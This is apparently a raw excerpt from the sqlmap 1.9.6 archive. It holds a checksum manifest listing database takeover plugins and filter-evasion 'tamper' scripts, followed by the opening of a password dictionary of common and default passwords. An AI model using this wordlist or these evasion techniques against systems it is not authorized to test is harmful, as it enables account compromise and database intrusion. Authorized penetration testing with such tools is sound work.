79a887b5a2449bb086805560ff0ec2a2304dd142f47450ae9c2f88cf8bda9ac9 plugins/dbms/mssqlserver/syntax.py bb0edf756903d8a9df7b60272541768102c64e562e6e7a356c5a761b835efde3 plugins/dbms/mssqlserver/takeover.py 9a1a69416af5a3fc60b93dd8a80fb23b3f190fe96f2564f170df2edeb5bb3599 plugins/dbms/mysql/connector.py 1e29529d6c4938a728a2d42ef4276b46a40bf4309570213cf3c08871a83abdc1 plugins/dbms/mysql/enumeration.py 200b2c910e6902ef8021fe40b3fb426992a016926414cbf9bb74a3630f40842d plugins/dbms/mysql/filesystem.py b7aa7bf8b1f9ba38597bae7fc8bf436b111eeb5ee6a4ad0a977e56dca88a4afc plugins/dbms/mysql/fingerprint.py 88daad9cf2f62757949cb27128170f33268059e2f0a05d3bd9f75417b99149de plugins/dbms/mysql/__init__.py 20108fe32ae3025036aa02b4702c4eda81db01c04a2e0e2e4494d8f1b1717eca plugins/dbms/mysql/syntax.py 91f34b67fe3ad5bfa6eae5452a007f97f78b7af000457e9d1c75f4d0207f3d39 plugins/dbms/mysql/takeover.py 125966162396ef4084d70fac1c03e25959a6ccebacd8274bda69b7bebf82b9d5 plugins/dbms/oracle/connector.py 8866391a951e577d2b38b58b970774d38fb09f930fa4f6d27f41af40c06987c1 plugins/dbms/oracle/enumeration.py 5ca9f30cd44d63e2a06528da15643621350d44dc6be784bf134653a20b51efef plugins/dbms/oracle/filesystem.py b1c939e3728fe4a739de474edb88583b7e16297713147ca2ea64cac8edf2bdf5 plugins/dbms/oracle/fingerprint.py 53fe7fc72776d93be72454110734673939da4c59fecdf17bbbc8de9cdc52c220 plugins/dbms/oracle/__init__.py 39611d712c13e4eb283b65c19de822d5afa4a3c08f12998dd1398725caf48940 plugins/dbms/oracle/syntax.py cd3590fbb4d500ed2f2434cf218a4198febb933793b7a98e3bb58126839b06f1 plugins/dbms/oracle/takeover.py 9ca6fccb27cac0037103db6f05b561039c9f6bd280ab2fb87b76e4d52142c335 plugins/dbms/postgresql/connector.py 3ebc81646f196624ec004a77656767e4850f2f113b696f7c86b5ca4daf0ee675 plugins/dbms/postgresql/enumeration.py 760285195bdfd91777066bf2751c897f87fab1ada24f729556b122db937c7f88 plugins/dbms/postgresql/filesystem.py 42fbf2707e9f67554571e63ef2d204d28303e4d25eb7781ec800084fb53324ce plugins/dbms/postgresql/fingerprint.py 4c76ebe0369647f95114a7807e08cd0821d3f5b7159a3ec659d33ef8175163f7 plugins/dbms/postgresql/__init__.py 04f8ce5afb10c91cfb456cf4cce627b5351539098c4ddfeb63311a55951ac6b0 plugins/dbms/postgresql/syntax.py 33f5a6676380cdd4dfbe851b5945121399a158a16ad6b6760b931aa140a353e2 plugins/dbms/postgresql/takeover.py ba4c83075ac870473ca91144641c18bc2ca1bf7d7ef5593e4666d95dc9f659d3 plugins/dbms/presto/connector.py 5b8a46ac204080f1a357dac634330449020d122b4bf84e1c1e9618dc88a8e8a6 plugins/dbms/presto/enumeration.py 3d65033809b919f6ec53ef93f9cdc2b35304014bc261e5c06b26ab52ded9b4c2 plugins/dbms/presto/filesystem.py cb0eb626dc3467e6adbba46f382f9a370397736312f5b50d39593ce3b84bd01c plugins/dbms/presto/fingerprint.py 90e5500ad15c12394c6bf684d1b85085d6ddad9d2bc2df6ccb2b11be3e21940f plugins/dbms/presto/__init__.py 3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/presto/syntax.py ffd5471d633ecc4bd55ba3674819aec0602ba92812c191d4c1dc468a3263a9f5 plugins/dbms/presto/takeover.py c122c48253d90a312962dd48ed47847d86df2b199e34133b70ec78d7b385179b plugins/dbms/raima/connector.py aeeedd464149ad6cfc0dab35b7c7b096a186b4b7ea02641ffa92306d1789f36c plugins/dbms/raima/enumeration.py 3bcd38e900e7c8b53bcbd62dad03f8fa5df04910d96b09115e670302c80b61fc plugins/dbms/raima/filesystem.py e5b680e2668313a8b3d4567e2394b557a7db407c4f978f63a54c41b8d786d4b1 plugins/dbms/raima/fingerprint.py 48a9d1576247b555ed6d910b047f757dea10242ddeb19c7a69a6183a4724dc27 plugins/dbms/raima/__init__.py 9899a908eb064888d0e385156395d0436801027b2f4a9846b588211dc4b61f83 plugins/dbms/raima/syntax.py 543949cee45ae5cfb36ad38a82666f211d4f8d0ecf224c6ebb13a8d2455441e1 plugins/dbms/raima/takeover.py 3038aa55150688855fb4ea5017fe3405a414f2cf4a7630764b482d02f7442b25 plugins/dbms/sqlite/connector.py 6736ff9995db5675bb82bf2014117bdc5ce641f119b79763edb7aa983443ec87 plugins/dbms/sqlite/enumeration.py e75cf970d5d76bc364d2fd02eab4086be6263d9c71fa5b44449bada158cd87d3 plugins/dbms/sqlite/filesystem.py d9a17f49a99b715187e12635a202c5a487e71ef2e6877116d5bc9eb4a0d28eee plugins/dbms/sqlite/fingerprint.py 9b00c84f7b25b488a4cbb45fe9571e6661206771f1968f68badc0c670f042a0b plugins/dbms/sqlite/__init__.py 5457814ccacf9ca75ae6c39f1e615dd1ca63a8a2f21311f549f8a1df02d09634 plugins/dbms/sqlite/syntax.py 3aeb29f4486bd43b34afe58f581cb19a9932cabc87888416d2e383737b690072 plugins/dbms/sqlite/takeover.py 210da495985643e1952edac123f4b0b963545ecb4c10ce7b9421e8ae101d37b7 plugins/dbms/sybase/connector.py 8fbdfd90b980cae6d86d9a4e193644655e0820885bb8d2c847930a1dfa7185d2 plugins/dbms/sybase/enumeration.py cc237effd49ab53317d8d4b6fad41eef72de7e8f241d9264a65427846ff0c853 plugins/dbms/sybase/filesystem.py 3dabc716f6603b83767c579b9237352b9f4860110f83e47dc6b0d8720c6ca91d plugins/dbms/sybase/fingerprint.py cf21209a5efb9ed2d1c682197f0cd12d514c8c38a7d629f4d66306da8975e300 plugins/dbms/sybase/__init__.py 87c27c7839d6bc4f7bc1dbe44eb7dcca9d2d68ee744f3e2edf6fac3e80f18088 plugins/dbms/sybase/syntax.py 3795dbe49e08fe6a9251ec6ce44e3c323138ffc38dfed93db35220b442faf03b plugins/dbms/sybase/takeover.py b8adf2e7d9921ff47a4a15f58b4a8665995f5ea079e8843556a11995678a606e plugins/dbms/vertica/connector.py c6d4c5bf1d6e3420e0b009e44b70f52db4a6d509451188ca9f7c2b0b73608080 plugins/dbms/vertica/enumeration.py 15f4f1d4be6cff468636557c2f8c0ac9988f6b639db20149ab3ea1c2bc5aedbe plugins/dbms/vertica/filesystem.py 2bc1e4f5b3465e776f377f9ede48de79ed588f74b3cbd12e17868440a4b09c1b plugins/dbms/vertica/fingerprint.py 40a381a9d3a2aeae08321390263d078d1e84212f13b7291ae09fc3b9c91f4cdf plugins/dbms/vertica/__init__.py e2b7aad0f739b82eef819202d1543983bd461255e3a2ac7bb66849df75728e2a plugins/dbms/vertica/syntax.py b57d7ae86b5531813aca7ffe11668b8a62ace3e2f8c69dbceca67fbf3cde42ee plugins/dbms/vertica/takeover.py b17f7ce72b5aa061caf1d0f1fc3510b3a1fa6f382a2d7115ed76dcab271a7507 plugins/dbms/virtuoso/connector.py a5aa977e1a20b0e8b57cd1369d3071812415904008d533190f00fd13cd26aec9 plugins/dbms/virtuoso/enumeration.py 7148d747b1e76b5c508180dc5a6015f39fdea047d7386784b8dc8a8dad965fd3 plugins/dbms/virtuoso/filesystem.py 01ef324069c3d0a5f50f2916654cdc5c283e59600863820cc55af9d928a55325 plugins/dbms/virtuoso/fingerprint.py 6e355c60fbb131d1190d993732198989f3d17db21cb3b55edaaf586d49cd6807 plugins/dbms/virtuoso/__init__.py 3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/virtuoso/syntax.py f00e5d1d8ddedcb7980b442d5cabf8bf1c7783c289e32c57a7107f37a3fb40a5 plugins/dbms/virtuoso/takeover.py 25ed1b975dd09a9224056a02e1f7997512da13eb1aa45222cb817928c681f474 plugins/generic/connector.py b333c73c6a490b5930a09c6c09951af1044eb97076446b2f1475c7cfdfc838a6 plugins/generic/custom.py 4a923f52e8d2dfa6b55c16e08fd5f64eeb292b99573030c0397c7292a4032dd3 plugins/generic/databases.py 9b0dbf8f77f190ca92cc58e9c5f784d0b30276ee7d99906f6d9c826c23b6d2e1 plugins/generic/entries.py 783a17bb5188b6b9f4a73dbf10d5cf5c073144d5c1970a9d4aec27cb828e2356 plugins/generic/enumeration.py 5dbcb646c03b43d1f26c0dbd17ae8fb537fdc526ca9984e1cc3e9eae12c38e6e plugins/generic/filesystem.py ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generic/fingerprint.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/generic/__init__.py 9ec577d8ccf4698d4e7834bf1e97aea58fba9d2609714b7139c747bcc4f59a30 plugins/generic/misc.py 546486bd4221729d7d85b6ce3dbc263c818d091c67774bd781d7d72896eb733b plugins/generic/search.py 9be0e2f931b559052518b68511117d6d6e926e69e463ddfa6dc8e9717c0ca677 plugins/generic/syntax.py 7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py 115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py 90530922cac9747a5c7cf8afcc86a4854ee5a1f38ea0381a62d41fc74afe549a README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf 515893a1105f06afb6e91d7a32d89ed350828244f2a4c638d36240b284a61363 sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py fa18d565b7b6b1000942414d65aea762b20632079ed3e1a96fe1005f81fccf07 tamper/appendnullbyte.py 627573bd838cba4c0b688b401ecbc11a15969bd6ded0d2d7e838d622ffe40b99 tamper/base64encode.py 5714dddccd9a94238e58737f8b2ee1a272100037a8360342080f865cc7aa3a4d tamper/between.py e8964badea5a1026da0e67e2b810297e4d2e45c64aee5192d2c5979feae93e69 tamper/binary.py 6dce750c7eb79ddc8743d44233045e7804a4191c9523614e8ee187f1696bb655 tamper/bluecoat.py 4186cf796e0b62c6de81902c33139abd9091725567f49b0f198a1f890f3b9d82 tamper/chardoubleencode.py 71077c3a28ba68d91baa538e08ca3ba55107f607618269261a0dc0858918b236 tamper/charencode.py 60ba0b3d985394a962daa097faa31afb80d5ba93dbd495104a519559386c7350 tamper/charunicodeencode.py 5ec4038bd71c806b903086ad1e099f72c319c7a3b31c4cdf91c97d1fb9d0bdd7 tamper/charunicodeescape.py 9ad1ee5f134e0fa4f3b16b3622e66f212ffd658b099ef75eaaa96d7a63c2fc2e tamper/commalesslimit.py b28bbe837dc70b935143650d907832038aaec19595a93de96d68131c830e2490 tamper/commalessmid.py b94713ce6a47d810dd699a480e14e0fd6e6095778d74e5a69e867440ddb1ce66 tamper/commentbeforeparentheses.py beb5d4129badba301e0cad26652b05af9220921fd99e72c8d5789c2f75c7f171 tamper/concat2concatws.py cd86b89c63932b7ce204cd80c6d0141ac4bb564b8ea5d1b9eb24a8407431f50f tamper/decentities.py 252a97217f6d3ddd227a1e997cd30f8e0fdc21e235e23307e2bdee96a110c4c6 tamper/dunion.py 853de839258e9137b252fb61429e7353ea9f8b555d050244333836bd99981324 tamper/equaltolike.py a50b70dd62ee00896c46581d81b1b51bedcec303cb5df2f6c6d98c2817608650 tamper/equaltorlike.py 89803e274257d906e7472a91e60ea0fd0fb4a846eb68dd66b73d298a81a88ee1 tamper/escapequotes.py e65a98f6b043401fc0b37c821ef9a459e476df33f9dc885756f08c711b4045a1 tamper/greatest.py a7c656e8a2e09541f435931266c6c9fb20b0cf868f70fb77bff0402e73150a56 tamper/halfversionedmorekeywords.py af421c0f873e76c2f7182310066d16c7bf14bdda0e79b0eb3cf07be0eca234ed tamper/hex2char.py 4e5d509fb552f92b70f48346df07987ebd7380f92b419d5316b72d07a172b037 tamper/hexentities.py ae95bef04799cd112e81e8527b88669092996243ce161df85ded36fcda188ae6 tamper/htmlencode.py fa34e56b7b6578a4611973f273dabac7532672188f2b14a5a68504abb4873d40 tamper/if2case.py 392f14be8826c59cbace4f4ef4e02f3b4c9fa85892aa2c33b8bf9ec8bb67bda5 tamper/ifnull2casewhenisnull.py 3a4679f864cffab5f0d0b60a0d0ffdba4adfaba489c07f019d83e0d911dedd1e tamper/ifnull2ifisnull.py d22f2208649ffc72e2a80f464eacbe35157e1ebebe7889ae9aea3748116a96b7 tamper/informationschemacomment.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 tamper/__init__.py 5fb731d9c0340bd97bc6f647325cf624e7387ae44ce5920ae14c47d007ceb7ea tamper/least.py a108d0943a17e5e9d3e256ed58a9e1a15327286c6d5a63bf6aad276fb28216ef tamper/lowercase.py 19a1ef76b21931a5e688771a341dc46325129414badc0fbf8c6e35fcce2bd7c0 tamper/luanginxmore.py f85b74c64441d038198da6b569c050aafd3a0575504c6d0d07d09cdca663692a tamper/luanginx.py 2f1819436c68d2bbb69380508becf8660bddc2cab9349d30c46b0ab727ba7dec tamper/misunion.py 6a2d6cf5d7dc6eb838d0ea8a8e5748db14dd8a415fad0994ab0f05bfe87ed5a5 tamper/modsecurityversioned.py 712a2f7a8f68d16bc77a5e8772098f168207a6815b71a027c2f241655d616102 tamper/modsecurityzeroversioned.py 458fbf5ae865f3b3de237790de1f7045a820d409649a244c8cc2402fa9582c21 tamper/multiplespaces.py d8e049d1c0b4273bb6cee844767503a60f97301a7041e5c8b51cb0557c413d28 tamper/ord2ascii.py cf7a99f5a4d6df30b1b8c0df55eb6e950077ec14b31062dd21d2c2d924d58d74 tamper/overlongutf8more.py 381b5fc6fdda0cd287dd6bf2d098c318fab8f42f5ae3ec4e774e864bf57fd51d tamper/overlongutf8.py 965636cef15f4b5d1ce2d802e1be8b51025ee95f96b58ae0131340945e9c7026 tamper/percentage.py 97b6c357c42308fa76d93d271824e53f436fceb33f9a7e74acc8b91da3abb7f4 tamper/plus2concat.py d49fd12b78fb6f38c4a31c9c7badaf11f65600127783ebb4e941ab0ed2284489 tamper/plus2fnconcat.py 2edf00005991d6546c0ddcab103451ae9425c177bc5519d16b2a78e3e308ec71 tamper/randomcase.py 3259e9189a5d3c2ab476653bc65e45dc481f7541d2688cc8041281ce57205681 tamper/randomcomments.py 8abd8df65c852011a73ffe69febce52f2d383cdb947a70de0ddb2a0f1272e6f6 tamper/schemasplit.py fc90359a31849c890399f146e5f26edf78f6729cabe022cc49748835a870c16c tamper/scientific.py 387236175825c1651bbf353e7a5553417da9898e60c6e32b302c214ca4ac583f tamper/sleep2getlock.py 8de7553f15e7ecee5f0da426829dcd73397889645cb43fc9c47d9e5f122c9524 tamper/space2comment.py a958305e53d9ca98014918c415d0671e46ca45c6a32762c379e96ab946e75db0 tamper/space2dash.py 3e99a94e0712906558e346b97d3fdad4e9b349b58f7273e6f9340333774eb71a tamper/space2hash.py f5eb72cc564abba171a881fd8b8335bc19efc8333396575db8f18ce0ca8d1e9f tamper/space2morecomment.py 2b6ec63af32b6a71c5de288e1d507d49513b9690a9c0c79b85e13aba1caabf23 tamper/space2morehash.py e434ba59a2a68c273a407d99762bf71d08f3b5876efacc9ef1c06d655d5fa7bb tamper/space2mssqlblank.py 0795280f1264b9d2a92ea1017a30c3299fac00403ab35f8110fca173bfdee206 tamper/space2mssqlhash.py 26faeb39842c3770d0f59d871325eb9a59ea29e5f43cfab2872edc7a947a3d73 tamper/space2mysqlblank.py 50365aa886349a268ce39820af2b68d2b119bbfca53e97dbdbadb7296f8f4ce6 tamper/space2mysqldash.py e5a8d49f6985e27d2d0aebf1227a1d22dea11a4852ccf6ab7fa5e9c84c79a88c tamper/space2plus.py c8debf71c17719ea4f3c2f07596fcf3f9972f9b4ef70ae25893a1bd5bed8655c tamper/space2randomblank.py 409214cfca98144ce28805ab65ff365189e398e9e9eabb709d1bc00ae7eb36c9 tamper/sp_password.py de34e24d47e84a0079665ff0253fdafac3d7b1444ae6429735fce1cecaba54c7 tamper/substring2leftright.py 0b50c760a4c08d547a8f86234d9f40bfeb0311d81f342ab08c8a9c0f1cdf2e85 tamper/symboliclogical.py 5a56f752f1276a4f60b442d7e13aa55d58f71dcc0113a1a849831a9b658cab20 tamper/unionalltounion.py a096122382135668beb66eecf266b77e616695021ee973d0301afe1098fd3ecd tamper/unmagicquotes.py c48f6dc142fbf062254494e4c41b62852f26095f10d01be85140d5fd836d98d3 tamper/uppercase.py b88ff93aeb9da9c4c056c6df94e94b798a860ce01846ae2a01962edf9f3ff794 tamper/varnish.py 1219349c2c9fafa21e36dce8bdb5f0be52bd0b6e3d8af6233fe571239543c46b tamper/versionedkeywords.py 6a006674d9e5dba780f6a81897e762b7da36dc259bf3775d392a562574cae7b5 tamper/versionedmorekeywords.py 40c03cf396bc5a090b04f7588b9012ce4de29fc0eceb0ef5e0f7e687d5d11c08 tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py 0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py 2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py 558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py 3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py 4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py 0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py 924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py 46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py 883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py 32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py 368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py 257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py 806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py 737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py 62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py 3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py 2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py 2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py 4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py 5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py 4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py 011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py 87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py 498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py 2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py 208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py 21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py 1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py 162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py 179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py 4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py 6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json 5aa308d6173ad9e2a5006a719fdbfe8c20d7e14b6d70c04045b935e44caa96d0 thirdparty/identywaf/identYwaf.py edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py 879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py 9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py 691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py 8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE 57dba7460c09b7922df68b981e824135f1a6306180ba4c107b626e3232513eff thirdparty/socks/socks.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py 7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py sqlmap-1.9.6/data/txt/smalldict.txt000066400000000000000000002143611502261744200173030ustar00rootroot00000000000000 ! * ***** ****** ------ : ????? ?????? !@#$% !@#$%^ !@#$%^& !@#$%^&* @#$%^& $HEX 0 0000 0.0.000 00000 0.0.0.000 000000 0000000 00000000 0000000000 0000007 000001 000007 0007 0069 007 007007 007bond 0101 010101 01011980 01012011 010203 0123 012345 0123456 01234567 0123456789 020202 030303 0420 050505 06071992 0660 0815 090909 0911 0987 098765 09876543 0987654321 0racl3 0racl38 0racl38i 0racl39 0racl39i 0racle 0racle8 0racle8i 0racle9 0racle9i !~!1 1 100 1000 100000 1001 100100 1002 100200 1003 1004 1005 1007 1008 1010 101010 10101010 1011 1012 1013 1014 1015 1016 1017 1018 1020 10203 102030 1022 1023 1024 1025 1026 1027 1028 1029 102938 1029384756 1030 1031 1066 10sne1 1101 110110 1102 1103 1104 111 1111 11111 111111 1111111 11111111 1111111111 111111a 11112222 1112 111222 111222tianya 1114 1115 1117 1120 1121 1122 112211 112233 11223344 1122334455 1123 112358 11235813 1123581321 1124 1125 1129 1200 1201 1204 1205 120676 1207 1208 1209 1210 1211 1212 121212 12121212 1213 121314 1214 1215 1216 1220 1221 1223 1224 1225 1226 1227 1228 123 1230 123098 1231 12312 123123 12312312 123123123 123123a 12321 1232323q 123321 1234 12341234 1234321 12344321 12345 123451 1234512345 1234554321 123456 1234560 1234561 1234567 12345678 123456789 1234567890 1234567891 12345678910 123456789a 123456789q 12345678a 12345679 1234567a 123456a 123456aa 123456abc 123456b 123456c 123456d 123456j 123456k 123456l 123456m 123456q 123456s 123456t 123456z 123457 12345a 12345q 12345qwert 12345qwerty 12345t 1234abcd 1234qwer 1235 123654 123654789 123698745 123789 123987 123aaa 123abc 123asd 123asdf 123go 123hfjdk147 123qwe 123qwe123 123qweasd 123qweasdzxc 12413 1245 124578 1269 12axzas21a 12qwaszx 1313 131313 13131313 1314520 1316 1332 1342 134679 1357 13579 135790 1369 1412 1414 141414 14141414 142536 142857 1430 143143 1464688081 147147 147258 14725836 147258369 147852 147852369 1478963 14789632 147896325 1492 1515 151515 159159 159357 159753 159753qq 159951 1616 161616 1701 1701d 1717 171717 17171717 1776 1812 1818 181818 18436572 187187 1911 1919 191919 1928 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 19691969 196969 1970 1971 1972 1973 1974 19741974 1975 1976 1977 1978 19781978 1979 1980 1981 1982 1983 1984 19841984 1985 1986 1987 1988 1989 1990 1991 1992 199220706 1993 1994 1995 1996 1997 1998 1999 199999 1a2b3c 1a2b3c4d 1chris 1g2w3e4r 1kitty 1p2o3i 